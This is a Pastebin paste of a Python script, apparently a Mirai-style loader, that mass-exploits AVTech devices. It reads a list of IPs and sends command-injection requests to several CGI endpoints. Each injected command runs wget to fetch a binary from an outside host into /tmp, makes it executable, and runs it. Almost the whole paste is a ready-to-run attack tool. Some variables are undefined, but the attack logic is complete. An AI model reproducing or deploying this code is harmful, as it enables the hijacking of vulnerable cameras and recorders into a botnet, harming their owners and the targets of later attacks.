Advertisement
miraip0ts

avtech

Feb 17th, 2019
1,042
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.95 KB | None | 0 0
  1. #! python !#
  2. import threading, sys, time, random, socket, subprocess, re, os, struct, array, requests
  3. from threading import Thread
  4. from time import sleep
  5. import requests
  6. from requests.auth import HTTPDigestAuth
  7. from decimal import *  
  8. ips = open(sys.argv[1], "r").readlines()
  9. #port = sys.argv[2]
  10.  
  11. overflow = "A" * 85 #oft some top notch big level devs over here
  12. send_data = overflow + "$(cd%20/tmp;%20wget%20http://1.1.1.1/well%20-O%20kjxf;%20chmod%20777%20kjxf;%20sh%20kjxf)"
  13.  
  14. def run(cmd):
  15.     subprocess.call(cmd, shell=True)
  16.  
  17. class rtek(threading.Thread):
  18.         def __init__ (self, ip):
  19.             threading.Thread.__init__(self)
  20.             self.ip = str(ip).rstrip('\n')
  21.         def run(self):
  22.             try:
  23.                 print "[] Loading - " + self.ip
  24.                 cmd = "cd%20/tmp;%20wget%20http://1.1.1.1/well%20-O%20kjxf;%20chmod%20777%20kjxf;%20sh%20kjxf"
  25.                 data = 'DoShellCmd "strCmd=$(cd%20/tmp;%20wget%20http://1.1.1.1/well%20-O%20kjxf;%20chmod%20777%20kjxf;%20sh%20kjxf)&"'
  26.                 data2 = 'action=white_led&brightness=$(' + cmd + '  2>%261) #'
  27.                
  28.                 url = "http://" + self.ip + ":"+port+"/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20http://1.1.1.1/well%20-O%20kjxf;%20chmod%20777%20kjxf;%20sh%20kjxf)&password=admin"
  29.                 url2 = "http://" + self.ip + ":"+port+"/cgi-bin/supervisor/CloudSetup.cgi?exefile=$(cd%20/tmp;%20wget%20http://1.1.1.1/well%20-O%20kjxf;%20chmod%20777%20kjxf;%20sh%20kjxf)"
  30.                 url3 = "http://" + self.ip + ":"+port+"/cgi-bin/supervisor/adcommand.cgi"
  31.                 url4 = "http://" + self.ip + ":"+port+"/cgi-bin/supervisor/Factory.cgi"
  32.                                
  33.                 requests.get(url, timeout=3)
  34.                 requests.get(url2, timeout=3)
  35.                 requests.post(url3, timeout=3, data=data)
  36.                 requests.post(url4, timeout=3, data=data2, headers=headers)
  37.  
  38.             except Exception as e:
  39.                 pass
  40. for ip in ips:
  41.     try:
  42.         n = rtek(ip)
  43.         n.start()
  44.         time.sleep(0.03)
  45.     except:
  46.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement